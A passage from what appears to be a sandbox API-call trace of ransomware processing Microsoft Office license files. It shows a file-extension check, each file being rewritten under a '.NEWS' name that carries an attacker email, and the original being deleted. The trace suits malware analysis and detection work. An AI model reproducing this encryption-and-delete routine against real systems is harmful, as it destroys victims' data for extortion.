Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0183.564] lstrlenW (lpString=".zip") returned 4 [0183.564] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.564] lstrlenW (lpString=".rar") returned 4 [0183.564] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.564] lstrlenW (lpString=".bz2") returned 4 [0183.564] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.564] lstrlenW (lpString=".7z") returned 3 [0183.564] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0183.564] lstrlenW (lpString=".dbf") returned 4 [0183.564] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0183.564] lstrlenW (lpString=".1cd") returned 4 [0183.564] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0183.564] lstrlenW (lpString=".jpg") returned 4 [0183.564] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.565] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0183.565] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 37 [0183.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0183.565] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11621) returned 1 [0183.565] CloseHandle (hObject=0x454) returned 1 [0183.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 0x220 [0183.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0183.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0183.566] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.566] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0183.567] GetLastError () returned 0x0 [0183.567] ReadFile (in: hFile=0x454, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0183.992] WriteFile (in: hFile=0x450, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0184.025] ReadFile (in: hFile=0x454, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.025] WriteFile (in: hFile=0x450, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x11e, lpOverlapped=0x0) returned 1 [0184.025] SetEndOfFile (hFile=0x450) returned 1 [0184.025] CloseHandle (hObject=0x450) returned 1 [0184.031] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.031] SetEndOfFile (hFile=0x454) returned 1 [0184.076] CloseHandle (hObject=0x454) returned 1 [0184.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 1 [0184.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.276] lstrlenW (lpString=".doc") returned 4 [0184.276] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.276] lstrlenW (lpString=".docx") returned 5 [0184.276] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.277] lstrlenW (lpString=".pdf") returned 4 [0184.277] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.277] lstrlenW (lpString=".xls") returned 4 [0184.277] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.277] lstrlenW (lpString=".xlsx") returned 5 [0184.277] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.277] lstrlenW (lpString=".ppt") returned 4 [0184.277] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.277] lstrlenW (lpString=".zip") returned 4 [0184.277] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.277] lstrlenW (lpString=".rar") returned 4 [0184.277] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.277] lstrlenW (lpString=".bz2") returned 4 [0184.277] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.277] lstrlenW (lpString=".7z") returned 3 [0184.277] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.277] lstrlenW (lpString=".dbf") returned 4 [0184.277] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.277] lstrlenW (lpString=".1cd") returned 4 [0184.277] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.277] lstrlenW (lpString=".jpg") returned 4 [0184.277] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.278] lstrlenW (lpString=".doc") returned 4 [0184.278] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.278] lstrlenW (lpString=".docx") returned 5 [0184.278] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.278] lstrlenW (lpString=".pdf") returned 4 [0184.278] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.278] lstrlenW (lpString=".xls") returned 4 [0184.278] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.278] lstrlenW (lpString=".xlsx") returned 5 [0184.278] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.278] lstrlenW (lpString=".ppt") returned 4 [0184.278] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.278] lstrlenW (lpString=".zip") returned 4 [0184.278] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.278] lstrlenW (lpString=".rar") returned 4 [0184.278] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.278] lstrlenW (lpString=".bz2") returned 4 [0184.278] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.278] lstrlenW (lpString=".7z") returned 3 [0184.278] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.278] lstrlenW (lpString=".dbf") returned 4 [0184.278] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.278] lstrlenW (lpString=".1cd") returned 4 [0184.278] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0184.279] lstrlenW (lpString=".jpg") returned 4 [0184.279] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.279] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0184.279] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 33 [0184.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.385] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=10667) returned 1 [0184.385] CloseHandle (hObject=0x518) returned 1 [0184.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 0x220 [0184.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.906] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.906] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.925] GetLastError () returned 0x0 [0184.925] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x29ab, lpOverlapped=0x0) returned 1 [0184.990] WriteFile (in: hFile=0x53c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0184.992] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.992] WriteFile (in: hFile=0x53c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x116, lpOverlapped=0x0) returned 1 [0184.992] SetEndOfFile (hFile=0x53c) returned 1 [0184.992] CloseHandle (hObject=0x53c) returned 1 [0184.992] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.992] SetEndOfFile (hFile=0x518) returned 1 [0185.003] CloseHandle (hObject=0x518) returned 1 [0185.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 1 [0185.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0185.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0185.009] lstrlenW (lpString=".doc") returned 4 [0185.009] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.009] lstrlenW (lpString=".docx") returned 5 [0185.009] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.009] lstrlenW (lpString=".pdf") returned 4 [0185.009] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.009] lstrlenW (lpString=".xls") returned 4 [0185.009] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.009] lstrlenW (lpString=".xlsx") returned 5 [0185.009] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.009] lstrlenW (lpString=".ppt") returned 4 [0185.009] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0185.009] lstrlenW (lpString=".zip") returned 4 [0185.009] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.009] lstrlenW (lpString=".rar") returned 4 [0185.009] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.009] lstrlenW (lpString=".bz2") returned 4 [0185.009] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.009] lstrlenW (lpString=".7z") returned 3 [0185.009] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0185.010] lstrlenW (lpString=".dbf") returned 4 [0185.010] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0185.010] lstrlenW (lpString=".1cd") returned 4 [0185.010] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0185.010] lstrlenW (lpString=".jpg") returned 4 [0185.010] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0185.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0185.010] lstrlenW (lpString=".doc") returned 4 [0185.010] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.010] lstrlenW (lpString=".docx") returned 5 [0185.010] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.011] lstrlenW (lpString=".pdf") returned 4 [0185.011] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.011] lstrlenW (lpString=".xls") returned 4 [0185.011] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.011] lstrlenW (lpString=".xlsx") returned 5 [0185.011] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.011] lstrlenW (lpString=".ppt") returned 4 [0185.011] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0185.011] lstrlenW (lpString=".zip") returned 4 [0185.011] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.011] lstrlenW (lpString=".rar") returned 4 [0185.011] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.011] lstrlenW (lpString=".bz2") returned 4 [0185.011] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.011] lstrlenW (lpString=".7z") returned 3 [0185.011] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0185.011] lstrlenW (lpString=".dbf") returned 4 [0185.011] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0185.011] lstrlenW (lpString=".1cd") returned 4 [0185.011] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0185.011] lstrlenW (lpString=".jpg") returned 4 [0185.011] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.012] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0185.012] lstrlenW (lpString="HomeBusinessR_Retail-pl.xrm-ms") returned 30 [0185.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0185.537] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=10655) returned 1 [0185.537] CloseHandle (hObject=0x3ec) returned 1 [0185.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 0x220 [0185.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0185.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0185.538] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.538] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0185.540] GetLastError () returned 0x0 [0185.540] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x299f, lpOverlapped=0x0) returned 1 [0185.542] WriteFile (in: hFile=0x36c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0185.544] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.544] WriteFile (in: hFile=0x36c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x110, lpOverlapped=0x0) returned 1 [0185.544] SetEndOfFile (hFile=0x36c) returned 1 [0185.545] CloseHandle (hObject=0x36c) returned 1 [0185.545] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.545] SetEndOfFile (hFile=0x3ec) returned 1 [0185.548] CloseHandle (hObject=0x3ec) returned 1 [0185.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 1 [0185.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0185.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0185.550] lstrlenW (lpString=".doc") returned 4 [0185.550] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0185.550] lstrlenW (lpString=".docx") returned 5 [0185.550] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0185.550] lstrlenW (lpString=".pdf") returned 4 [0185.550] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0185.550] lstrlenW (lpString=".xls") returned 4 [0185.550] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0185.550] lstrlenW (lpString=".xlsx") returned 5 [0185.550] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0185.550] lstrlenW (lpString=".ppt") returned 4 [0185.550] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0185.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0185.550] lstrlenW (lpString=".zip") returned 4 [0185.550] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0185.550] lstrlenW (lpString=".rar") returned 4 [0185.551] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0185.551] lstrlenW (lpString=".bz2") returned 4 [0185.551] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0185.551] lstrlenW (lpString=".7z") returned 3 [0185.551] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0185.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0185.551] lstrlenW (lpString=".dbf") returned 4 [0185.551] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0185.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0185.551] lstrlenW (lpString=".1cd") returned 4 [0185.551] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0185.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80 [0185.551] lstrlenW (lpString=".jpg") returned 4 [0185.551] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0185.551] lstrlenW (lpString="C:\\Program Files\\Microsoft 